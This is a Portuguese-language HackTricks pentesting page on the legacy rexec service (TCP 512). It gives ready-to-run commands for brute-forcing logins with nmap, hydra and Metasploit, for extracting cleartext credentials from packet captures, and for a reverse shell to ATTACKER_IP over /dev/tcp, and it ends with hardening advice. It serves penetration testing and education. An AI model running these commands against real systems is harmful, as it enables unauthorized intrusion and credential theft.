512 - Pentesting Rexec
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Rexec (remote exec) é um dos serviços originais da suíte Berkeley r (junto com rlogin
, rsh
, …). Ele fornece uma capacidade de execução remota de comandos autenticada apenas com um nome de usuário e senha em texto claro. O protocolo foi definido no início dos anos 1980 (veja RFC 1060) e hoje é considerado inseguro por design. No entanto, ainda está habilitado por padrão em alguns equipamentos legados UNIX / conectados à rede e ocasionalmente aparece durante pentests internos.
Porta Padrão: TCP 512 (exec
)
PORT STATE SERVICE
512/tcp open exec
🔥 Todo o tráfego – incluindo credenciais – é transmitido não criptografado. Qualquer um com a capacidade de monitorar a rede pode recuperar o nome de usuário, senha e comando.
Visão rápida do protocolo
- O cliente se conecta ao TCP 512.
- O cliente envia três strings terminadas em NUL:
- o número da porta (como ASCII) onde deseja receber stdout/stderr (geralmente
0
), - o nome de usuário,
- a senha.
- Uma string final terminada em NUL com o comando a ser executado é enviada.
- O servidor responde com um único byte de status de 8 bits (0 = sucesso,
1
= falha) seguido pela saída do comando.
Isso significa que você pode reproduzir a troca com nada mais do que echo -e
e nc
:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Se as credenciais forem válidas, você receberá a saída de id
diretamente na mesma conexão.
Uso manual com o cliente
Muitas distribuições Linux ainda incluem o cliente legado dentro do pacote inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Se -p
for omitido, o cliente solicitará interativamente a senha (visível na rede em texto claro!).
Enumeração & Força Bruta
Força Bruta
Nmap
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
O rexec-brute
NSE usa o protocolo descrito acima para tentar credenciais muito rapidamente.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra
tem um módulo rexec dedicado e continua sendo o bruteforcer offline mais rápido. medusa
(-M REXEC
) e ncrack
(módulo rexec
) podem ser usados da mesma forma.
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
O módulo irá gerar um shell com sucesso e armazenar as credenciais no banco de dados.
Captura de credenciais
Como tudo está em texto claro, as capturas de rede são inestimáveis. Com uma cópia do tráfego, você pode extrair credenciais sem tocar no alvo:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark, ative Decode As … TCP 512 → REXEC para visualizar os campos analisados de forma adequada.)
Dicas de Pós-Exploração
- Comandos são executados com os privilégios do usuário fornecido. Se
/etc/pam.d/rexec
estiver mal configurado (por exemplo,pam_rootok
), shells de root são às vezes possíveis. - Rexec ignora o shell do usuário e executa o comando via
/bin/sh -c <cmd>
. Você pode, portanto, usar truques típicos de escape de shell (;
,$( )
, crase) para encadear múltiplos comandos ou gerar shells reversos:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Senhas são frequentemente armazenadas em ~/.netrc em outros sistemas; se você comprometer um host, pode reutilizá-las para movimentação lateral.
Fortalecimento / Detecção
- Não exponha rexec; substitua-o por SSH. Praticamente todos os inetd superservers modernos comentam o serviço por padrão.
- Se você precisar mantê-lo, restrinja o acesso com TCP wrappers (
/etc/hosts.allow
) ou regras de firewall e imponha senhas fortes por conta. - Monitore o tráfego para :512 e para lançamentos do processo
rexecd
. Uma única captura de pacote é suficiente para detectar uma comprometimento. - Desative
rexec
,rlogin
,rsh
juntos – eles compartilham a maior parte do mesmo código e fraquezas.
Referências
- Documentação do Nmap NSE
rexec-brute
– https://nmap.org/nsedoc/scripts/rexec-brute.html - Módulo Rapid7 Metasploit
auxiliary/scanner/rservices/rexec_login
– https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.